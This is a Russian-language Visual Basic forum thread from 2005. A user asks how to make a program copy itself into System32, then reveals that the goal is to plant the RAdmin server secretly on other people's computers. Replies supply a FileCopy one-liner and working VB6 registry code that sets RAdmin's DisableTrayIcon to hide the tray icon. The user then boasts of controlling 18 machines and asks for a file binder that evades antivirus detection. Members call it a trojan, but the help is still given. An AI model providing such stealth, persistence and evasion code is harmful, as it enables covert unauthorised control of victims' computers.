как скопировать саму себя...

Программирование на Visual Basic, главный форум. Обсуждение тем программирования на VB 1—6.
Даже если вы плохо разбираетесь в VB и программировании вообще — тут вам помогут. В разумных пределах, конечно.
Правила форума
Темы, в которых будет сначала написано «что нужно сделать», а затем просьба «помогите», будут закрыты.
Читайте требования к создаваемым темам.
Jenizix
Географ
Географ
Аватара пользователя
 
Сообщения: 545
Зарегистрирован: 20.04.2004 (Вт) 20:52
Откуда: Москва

как скопировать саму себя...

Сообщение Jenizix » 05.02.2005 (Сб) 18:28

как скопировать саму себя например в system32 ???
я это как-то делал, но было давно, уже забыл... :cry:
чувствую что это делается как-то по ламерски, но немогу понять как...

Mleha
Продвинутый пользователь
Продвинутый пользователь
Аватара пользователя
 
Сообщения: 146
Зарегистрирован: 06.10.2004 (Ср) 7:49
Откуда: Ангарск

Сообщение Mleha » 05.02.2005 (Сб) 18:48

FileCopy App.ExeName & ".exe" , Environ("Windir") & "\System32\Proga.exe"

A.A.Z.
Член-корреспондент академии VBStreets
Член-корреспондент академии VBStreets
 
Сообщения: 3035
Зарегистрирован: 30.06.2003 (Пн) 13:38

Сообщение A.A.Z. » 05.02.2005 (Сб) 20:50

Опять вирусописательство? :?:

ANDLL
Великий гастроном
Великий гастроном
Аватара пользователя
 
Сообщения: 3450
Зарегистрирован: 29.06.2003 (Вс) 18:55

Сообщение ANDLL » 05.02.2005 (Сб) 21:24

Кстати, в win9x в папке system32 лежит не так много файлов, как надеется автор...
Гастрономия - наука о пище, о ее приготовлении, употреблении, переварении и испражнении.
Блог

EvilCoder
Посланец джихада
Посланец джихада
Аватара пользователя
 
Сообщения: 706
Зарегистрирован: 25.01.2004 (Вс) 15:08

Сообщение EvilCoder » 05.02.2005 (Сб) 22:26

Эх скатываемся... :twisted:
помоему уже Пора эту тему в FAQ...
http://bbs.vbstreets.ru/viewtopic.php?t=11835&highlight=
<<------- EvilCoder ------->>

Jenizix
Географ
Географ
Аватара пользователя
 
Сообщения: 545
Зарегистрирован: 20.04.2004 (Вт) 20:52
Откуда: Москва

Сообщение Jenizix » 05.02.2005 (Сб) 22:59

да эт меня друг попросил чтоб я ему прогу написал которая скопирует сервер радмина в system32... ну а дальше понятно.... просто я его сначала не понял... :lol:
всем спасибо....

alibek
Большой Человек
Большой Человек
 
Сообщения: 14205
Зарегистрирован: 19.04.2002 (Пт) 11:40
Откуда: Russia

Сообщение alibek » 05.02.2005 (Сб) 23:45

А зачем?
При установке сервисе все нужные файлы сами копируются куда надо; просто надо запустить с параметров r_server /install. Только зачем ему эта штука? В условиях локальной сети есть гораздо более удобные утилиты. В условиях же Internet лучше RAdmin не использовать для своего же блага.
Lasciate ogni speranza, voi ch'entrate.

tyomitch
Пользователь #1352
Пользователь #1352
Аватара пользователя
 
Сообщения: 12822
Зарегистрирован: 20.10.2002 (Вс) 17:02
Откуда: חיפה

Сообщение tyomitch » 05.02.2005 (Сб) 23:53

Думаю, это такая "шутка": незаметно поставить соседу radmin, чтобы рулить его компом. Эффект продвинутого трояна при минимуме затрат.
Изображение

alibek
Большой Человек
Большой Человек
 
Сообщения: 14205
Зарегистрирован: 19.04.2002 (Пт) 11:40
Откуда: Russia

Сообщение alibek » 05.02.2005 (Сб) 23:55

Не согласный я :)
Видеть чужой или даже управлять мышкой и клавиатурой это несерьезно. А вот скрытый терминал - это круто :) А в RAdmin'е терминал слишком ограниченный.
Lasciate ogni speranza, voi ch'entrate.

Jenizix
Географ
Географ
Аватара пользователя
 
Сообщения: 545
Зарегистрирован: 20.04.2004 (Вт) 20:52
Откуда: Москва

Сообщение Jenizix » 06.02.2005 (Вс) 0:19

вот еще трабла... как записать в реестр данные типа REG_BINARY...

сюда: HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters
надо записать вот это:
DisableTrayIcon=01 00 00 00 (тип REG_BINARY)

дайте простенький пример плиз...

alibek
Большой Человек
Большой Человек
 
Сообщения: 14205
Зарегистрирован: 19.04.2002 (Пт) 11:40
Откуда: Russia

Сообщение alibek » 06.02.2005 (Вс) 11:16

Да, натуральный троян :)
Lasciate ogni speranza, voi ch'entrate.

_Hiser_
Начинающий
Начинающий
Аватара пользователя
 
Сообщения: 12
Зарегистрирован: 28.01.2005 (Пт) 11:34
Откуда: Барнаул

Сообщение _Hiser_ » 06.02.2005 (Вс) 11:43

Я пробовал всё получается. Пробуй! :wink:
Код: Выделить всё
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hkey As Long) As Long
Private Declare Function RegCreateKeyEx Lib "advapi32.dll" Alias "RegCreateKeyExA" (ByVal hkey As Long, ByVal lpSubKey As String, ByVal Reserved As Long, ByVal lpClass As String, ByVal dwOptions As Long, ByVal samDesired As Long, lpSecurityAttributes As SECURITY_ATTRIBUTES, phkResult As Long, lpdwDisposition As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hkey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long         ' Note that if you declare the lpData parameter as String, you must pass it By Value.

Private Type SECURITY_ATTRIBUTES
        nLength As Long
        lpSecurityDescriptor As Long
        bInheritHandle As Long
End Type

Private Const HKEY_LOCAL_MACHINE = &H80000002
Private Const KEY_CREATE_SUB_KEY = &H4
Private Const KEY_SET_VALUE = &H2
Private Const REG_BINARY = 3

Private Sub SetRegBin(ByVal Key As Long, ByVal SubName As String, ByVal ValueName As String, Value() As Byte)
Dim hkey As Long
Dim sa  As SECURITY_ATTRIBUTES
If RegCreateKeyEx(Key, SubName, 0, "", 0, KEY_CREATE_SUB_KEY Or KEY_SET_VALUE, sa, hkey, 0) <> 0 Then Exit Sub
RegSetValueEx hkey, ValueName, 0, REG_BINARY, Value(0), UBound(Value) + 1
RegCloseKey hkey
End Sub

Private Sub Command1_Click()
Dim buff(3) As Byte
buff(0) = 1
buff(1) = 0
buff(2) = 0
buff(3) = 0
SetRegBin HKEY_LOCAL_MACHINE, "SYSTEM\RAdmin\v2.0\Server\Parameters", "DisableTrayIcon", buff
End Sub

Ramzes
Скромный человек
Скромный человек
Аватара пользователя
 
Сообщения: 5004
Зарегистрирован: 12.04.2003 (Сб) 11:59
Откуда: Из гробницы :)

Сообщение Ramzes » 06.02.2005 (Вс) 12:56

Да ладно вам, все равно в трее будет видно значок радмина :D, и влокалке он рулит а в инете если через проксю работать то он даже законектиться не сможет :roll:

Jenizix
Географ
Географ
Аватара пользователя
 
Сообщения: 545
Зарегистрирован: 20.04.2004 (Вт) 20:52
Откуда: Москва

Сообщение Jenizix » 06.02.2005 (Вс) 13:09

все равно в трее будет видно значок радмина

ну для этого я и спросил про реестр, создаем DisableTrayIcon(тип REG_BINARY) со значением 01 00 00 00 в HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters и все значка в трее больше нет! :D
Ушел в себя, вернусь не скоро...

Если вам нужно сделать прозрачной только форму, а контролы на ней нет, то вам сюда!!!

Ramzes
Скромный человек
Скромный человек
Аватара пользователя
 
Сообщения: 5004
Зарегистрирован: 12.04.2003 (Сб) 11:59
Откуда: Из гробницы :)

Сообщение Ramzes » 06.02.2005 (Вс) 13:16

Все равно будт в автозагрузке видно :D
А вот если вы ламеру какому нить собираетесь эту фигню подкинуть тогда респект вам :lol:
Только придумайте что нить поостроумнее :D

Jenizix
Географ
Географ
Аватара пользователя
 
Сообщения: 545
Зарегистрирован: 20.04.2004 (Вт) 20:52
Откуда: Москва

Сообщение Jenizix » 06.02.2005 (Вс) 15:00

он как сервис запускается! с правами системы!!!
у нас уже 18 компов!!! :twisted: :twisted: :twisted:
вот теперь хочется сделать все в одном ЕХЕ, т.е. сам сервер, длл'ка и моя прога прописывающая в реестре значение... когда его запускаеш все копируется в system32 и запускается с определ. ключами... Нашел прогу СуперКлей, но на склеенный файл антивирь ругается, есть и проги которые все нормально сделают?
Ушел в себя, вернусь не скоро...

Если вам нужно сделать прозрачной только форму, а контролы на ней нет, то вам сюда!!!


Вернуться в Visual Basic 1–6

Кто сейчас на конференции

Сейчас этот форум просматривают: AhrefsBot, Yandex-бот и гости: 173

    TopList